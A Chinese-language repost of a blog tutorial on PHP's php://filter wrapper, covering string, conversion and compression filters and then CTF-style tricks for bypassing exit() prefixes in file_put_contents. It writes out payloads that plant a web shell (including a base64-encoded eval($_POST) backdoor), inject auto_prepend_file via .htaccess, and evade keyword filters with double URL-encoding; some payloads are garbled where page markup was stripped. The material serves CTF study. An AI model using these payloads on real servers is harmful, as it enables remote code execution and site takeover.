返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >浅谈 filter伪协议的特性
  • 893
分享到

浅谈 filter伪协议的特性

phpweb安全安全 2023-09-15 14:09:04 893人浏览 泡泡鱼
摘要

前言: 对我来说,我以前对filter伪协议不甚了解,这次接触了这一题,就得主动去更加深入地了解一下filter伪协议了。以前呢就知道PHP://filter/read=convert.base64-encode/resource=[文件名

前言:

对我来说,我以前对filter伪协议不甚了解,这次接触了这一题,就得主动去更加深入地了解一下filter伪协议了。以前呢就知道PHP://filter/read=convert.base64-encode/resource=[文件名] 这干瘪瘪的一套,用就完了,现在看来深入了解是很有必要的。

何为php://filter

官方文档的解释:

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()file()file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

按我的理解来说:

它是一个php特有的协议,是一个过滤器,用于对 读取 或者 写入 的数据流进行处理,类似中间人的关系

php://filter 参数

php://filter/read=convert.base64-encode|convert.base64-encode/resource=data://text/plain, 为参考

名称

描述

resource=<要过滤的数据流>

这个参数是必须的。它指定了你要筛选过滤的数据流。

read=<读链的筛选列表>

该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。

write=<写链的筛选列表>

该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。

<;两个链的筛选列表>

任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

1.resource =后面可以接像data://这种格式的内容,对base64编码两次

访问一下

解码两次

PS: resource后面使用 php://input 接收的POST流也可以

直接写文件名也可以

2.read & write 一个代表 读,一个代表 写

3.这里base64编码两次,编码之间使用 | 分隔

何为过滤器?

一条熟悉的语句:

php://filter/read=convert.base64-encode/resource=flag.php

//这其中convert.base64-encode 就是一种过滤器

过滤器的类型

根据官方文档,我们可以分成四种过滤器

1.字符串过滤器

string.rot13

介绍一下rot13

ROT-13 编码是一种每一个字母被另一个字母代替的方法。 这个代替字母是由原来的字母向前移动 13 个字母而得到的

payload:

php://filter/read=string.rot13/resource=flag.php

这个是flag.php的内容:

$flag = "{asd3-4vfdt-faklmk0-48ff}";

?>

读取后:

$synt = "{nfq3-4isqg-snxyzx0-48ss}";

?>

想要获取原内容很简单,再rot13编码一次便可以得到flag

string.toupper(将内容全部大写)

payload:

php://filter/read=string.toupper/resource=flag.php

结果:

$FLAG = "{ASD3-4VFDT-FAKLMK0-48FF}";

?>

string.tolower(将内容全部小写)

payload:

php://filter/read=string.tolower/resource=flag.php

结果:

$flag = "{asd3-4vfdt-faklmk0-48ff}";

?>

string.strip_tags

作用:

对于html来说,它会去除标签保留标签之间的内容

对于php来说,全杀一个不显示

警告

本特性已自 PHP 7.3.0 起废弃。强烈建议不要使用本特性

flag.php的内容:

$flag = "{asd3-4vfdt-faklmk0-48ff}";

?>

Home Page

无限大な梦のあとの

结果:

2.转换过滤器(convert.* )

convert.base64-encode & convert.base64-decode

payload:

php://filter/read=convert.base64-encode/resource=flag.php

结果:

PD9waHANCiRmbGFnID0gInthc2QzLTR2ZmR0LWZha2xtazAtNDhmZn0iow0KPz4gDQo=

convert.quoted-printable-encode 和 convert.quoted-printable-decode

阐释:quoted_printable_decode()函数 quoted_printable_encode()函数相同

Quoted-printable译为可打印字符引用编码,这里就是把一些不可打印的ASCII字符转换为十六进制的形式,下文中会再给出我的理解。

payload:

php://filter/read=convert.quoted-printable-encode/resource=flag.php

结果:

这里应该就是将'\n'换成0D0A的形式,如果碰到等号,就会在后面加上3D

convert.iconv.*

*的内容可以是:

UTF-8
UCS-2, UCS-2BE, UCS-2LE
UCS-4, UCS-4BE, UCS-4LE
UTF-16, UTF-16BE, UTF-16LE
UTF-32, UTF-32BE, UTF-32LE
UTF-7

这里特别补充说明一个点:

UCS-2LE.UCS-2BE、utf-7、utf-8

这些编码是可以通过'\n'拼接的,也就是意味着可以绕检测

举个例子:

php://filter/read=convert.iconv.ut%0Af-8.u%0Atf-7/resource=flag.php

如果题目过滤了utf,那么便可以使用此方法绕过(具体能不能使用还得看目标服务器,这个也不是绝对,不过是一个方法,也是一种思路,要多尝试)

结果:

不得不说,这个方法得到的东西太乱了,最好的解码方式就是本地解码

php://filter/read=convert.iconv.utf-7.utf-8/resource=flag.php

// 就是把原来的utf-7和utf-8交换一下位置

3.压缩过滤器

zlib.deflate(压缩)和 zlib.inflate(解压)

在激活 zlib 的前提下可以使用 zlib.* 压缩过滤器。

以为我没有激活,所以演示不了,只能贴一下payload了

php://filter/zlib.deflate|zlib.inflate/resource=flag.php

加密过滤器

警告

本特性已自 PHP 7.1.0 起废弃。强烈建议不要使用本特性。

这个东西太奇怪了,这里不做讨论

小结

讲了这么多,我必须 在这里提醒你,过滤器不是必选!!可以不用,很多时候不用有妙用。不要以为php://filter必须用过滤器。而且当你使用的是php不认识的过滤器,php不会做任何处理,切记。

先来了解一下file_put_contents这个函数

file_put_contents ( string$filename , mixed$data [, int$flags = 0 [, resource$context ]] ) : int

两个必要参数:

string $filename ->文件的名字

mixed $data ->写入文件的数据

无特别说明,则文件都是被写入当前目录下

也可以通过

@mkdir()

@chdir()

来设置文件存放路径

还有一个关于file_put_contents 的非常有用的知识:

file_put_contents 可以调用伪协议,并且伪协议处理数据时会对过滤器 urldecode一次

举个例子:

传参输入:(字母 t urlencode两次 -->%7%34)

?php://filter/read=string.ro%7%3413/resource=flag.php

地址栏自动解码一次

?php://filter/read=string.ro%7413/resource=flag.php

file_put_contents 解码一次

$content=php://filter/read=string.rot13/resource=flag.php

从而绕过检测

绕过死亡exit有三种情况

情况一

$filename=$_GET['filename'];
$content=$_POST['content'];
file_put_contents($filename," ?>

死亡前后不一致

BASE64绕过

原理:前面的phpexit是七个字节,而BASE64是四个字节一组转换成三个字节,所以我们这里再添加一个字母补足前面的八个字节后面的内容才会被正确解析为

filename=php://filter/convert.base64-decode/resource=shell.php

// 这里不要再添加read= 不然后面的content内容不会被解码

content=aPD9waHAGCGhwaW5mbygpOz8+

rot13绕过

原理:,因此绕过

filename=php://filter/string.rot13/resource=shell.php

content=

过滤器嵌套绕过

原理:清除php原有的内容,再进行base64解码

filename=php://filter/string.strip_tags|convert.base64-decode/resource=shell.php

content=?>PD9waHAgcGhwaW5mbygpOz8+

之后生成的shell.php内容就是;

需要注意的就是:string.strip_tags特性已自 PHP 7.3.0 起废弃

如果废弃了,怎么办

filename=php://filter/zlib.deflate|string.tolower|zlib.inflate|/resource=shell.php

content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?>%0dphpinfo();?>/resource=shell.php

.htaccess的预包含利用

这个方法利用条件苛刻:

1.要知道所要的文件名的名字

2.满足php版本 < 7.3

$filename=php://filter/write=string.strip_tags/resource=.htaccess

$content=?>php_value auto_prepend_file D:\\wamp\\www\\test\flag.php

复现失败,暂时不知道原因,见谅

情况二:

$content=$_GET['content'];
file_put_contents($content," ?>

前后内容相同,也就是这次我写这篇文章的起因。

ROT13绕过

content=php://filter/string.rot13||/resource=shell.php

这里存在rot被过滤的情况,可以考虑编码绕过

payload:

php://filter/read=string.ro%7%3413/resource=flag.php

base64编码绕过

payload:

content=php://filter/string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+/../shell.php

过滤器嵌套绕过

payload:

content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?>/resource=shell.php

结果:

convert.iconv.*绕过

1.usc-2

usc-2就是对字符两位一反转

payload:

php://filter/convert.iconv.UCS-2LE.UCS-2BE|??/resource=shell.php

结果:

2.usc-4

原理同上,四位一反转

payload:

php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp??;)/resource=shell.php

3.uft

payload

php://filter/write=PD9waHAgQGV2YWwoJF9Qt1NUWydhJ10pOz8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=shell.php

结果:

情况三:

payload:

filename=shell.php

content=

结果:

如果不想要换行符的话,我们可以直接进行 \ 注释即可。然后再嵌入#注释符,从而达到单行注释就可以将杂糅代码注释掉的效果,这个是使用.htaccess文件达到的

payload:

filename=.htaccess

content=php_value%20auto_prepend_file%20C:\\flag%0a%23\

来源地址:https://blog.csdn.net/qq_64201116/article/details/125926612

--结束END--

本文标题: 浅谈 filter伪协议的特性

本文链接: https://lsjlt.com/news/408623.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • 浅谈 filter伪协议的特性
    前言: 对我来说,我以前对filter伪协议不甚了解,这次接触了这一题,就得主动去更加深入地了解一下filter伪协议了。以前呢就知道php://filter/read=convert.base64-encode/resource=[文件名...
    99+
    2023-09-15
    php web安全 安全
  • PHP伪协议filter详解,php://filter协议过滤器
    「作者主页」:士别三日wyx 「作者简介」:CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者 「推荐专栏」:对网络安全感兴趣的小伙伴可以关注专栏《网络安全入门到精通》 ...
    99+
    2023-08-31
    php 网络安全 人工智能 ai
  • php://filter伪协议(总结)
    前言 这篇文章主要是关于php://filter伪协议中的知识点总结,分析了常见的用法 文章目录 前言php://filter伪协议总结php://filter伪协议介绍php://filte...
    99+
    2023-08-31
    php 开发语言 web安全 安全
  • PHP Filter伪协议Trick总结
    PHP Filter伪协议Trick总结 前言:最近在学习的过程中碰到了很多的filter协议的小trick,在此做一个总结以及对filter协议的一些探索。 PHP Filter协议介绍 ​ php...
    99+
    2023-10-18
    安全
  • 浅谈H3C iMC结合SNMPv3协议管
    网络管理软件收到越来越多客户的欢迎,IT厂商也积极推出自己的网络管理软件,至于使用效果和体验,大家自己感受,IT圈里混的,你们都懂的。结合个人最近实施项目,部署H3C(据说现在叫“新华三”)研发的iMC运维管理平台,涉及到不同厂商的设备,简...
    99+
    2023-01-31
    浅谈 协议 iMC
  • 浅谈JDK9的特性之JVM的xlog
    目录简介xlog的使用selectionsoutputdecorators简介 JVM是java程序运行的基础,JVM中各种事件比如:GC,class loading,JPMS,he...
    99+
    2024-04-02
  • PHP 伪协议:使用 php://filter 为数据流应用过滤器
    文章目录 参考环境PHP 伪协议概念为什么需要 PHP 伪协议? php://filter概念格式 基本使用普通读写file_get_contents 与 file_put...
    99+
    2023-10-18
    php 过滤器 PHP 伪协议 base64 rot13 过滤器列表 PHP 配置项
  • SSRF(3)伪协议读取文件&Gopher协议的利用
    一:Http、Dict和file等协议的利用 1,内网访问 所以构造: /url=http://127.0.0.1/flag.php 得到: ctfhub{ce475b59a4baee959112777b} 2,伪协议读取文件 最经...
    99+
    2023-10-01
    php 开发语言 web安全 网络
  • 浅谈C++性能榨汁机之伪共享
    目录前言缓存行缓存一致性伪共享如何避免伪共享总结前言 在多核并发编程中,如果将互斥锁的争用比作“性能杀手”的话,那么伪共享则相当于“性能刺客”。“杀手”与“刺客”的区别在于杀手是可见...
    99+
    2024-04-02
  • 浅谈Java8新特性Predicate接口
    目录一、前言二、test(T t)三、and(Predicate<? super T> other)四、or(Predicate<? super T...
    99+
    2024-04-02
  • 浅谈oracle 12C的新特性-CDB和PDB
    最近看到好多人都在尝试oracle中的12C新特性-容器数据库,今年3月orcle推出了Release2版本,可以算是一个稳定版本了。下午着手尝试了一下,还是蛮不错得1.前言CDB与PDB是Oracle&n...
    99+
    2024-04-02
  • 文件包含支持的伪协议
    文件包含支持的伪协议 一、什么是伪协议?二、文件包含支持的伪协议用法1、php://1.1 php://input1.2 php://output1.3 php://filter1.4 其它p...
    99+
    2023-09-01
    php web安全
  • 浅谈Java封装、继承、多态特性
    目录1.封装2.继承3.多态4.上代码,效果运行放在最后1.封装 什么是封装,谈谈自己对封装的理解,封装就是将类的信息(比如说类的属性)隐藏在类的内部,不允许外部程序直接访问。此时就...
    99+
    2024-04-02
  • Go语言下TCP/IP协议的优势和特性
    大家好,我们又见面了啊~本文《Go语言下TCP/IP协议的优势和特性》的内容中将会涉及到等等。如果你正在学习Golang相关知识,欢迎关注我,以后会给大家带来更多Golang相关文章,希望我们能一起...
    99+
    2024-04-04
  • 浅谈TypeScript3.7中值得注意的3个新特性
    目录前言Optional ChainingNullish CoalescingUncalled Function Checks其他前言 距typescript 3.7正式发布已经有一...
    99+
    2024-04-02
  • 浅谈Redis在分布式系统中的协调性运用
    在分布式系统中,各个进程(本文使用进程来描述分布式系统中的运行主体,它们可以在同一个物理节点上也可以在不同的物理节点上)相互之间通常是需要协调进行运作的,有时是不同进程所处理的数据有依赖关系,必须按照一定的...
    99+
    2022-06-04
    分布式 浅谈 系统
  • 浅谈c#开发者应该了解的15个特性
    目录1. ObsoleteAttribute2. 使用 DefaultValueAttribute 为 C# 自动实现的属性设置默认值3. DebuggerBrowsableAttr...
    99+
    2024-04-02
  • 浅谈django model的get和filter方法的区别(必看篇)
    django的get和filter方法是django model常用到的,搞清楚两者的区别非常重要。 为了说明它们两者的区别定义2个models class Student(models.Model):...
    99+
    2022-06-04
    浅谈 必看 区别
  • TCP/IP是因特网的什么协议
    这篇文章主要介绍了TCP/IP是因特网的什么协议的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇TCP/IP是因特网的什么协议文章都会有所收获,下面我们一起来看看吧。TCP/IP TCP/IP 是因特网...
    99+
    2023-06-04
  • 浅谈C#泛型的用处与特点
    泛型是 2.0 版 C# 语言和公共语言运行库 (CLR) 中的一个新功能。泛型将类型参数的概念引入 .NET Framework,类型参数使得设计如下类和方法成为可能:这些类和方法...
    99+
    2022-11-15
    C#泛型
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作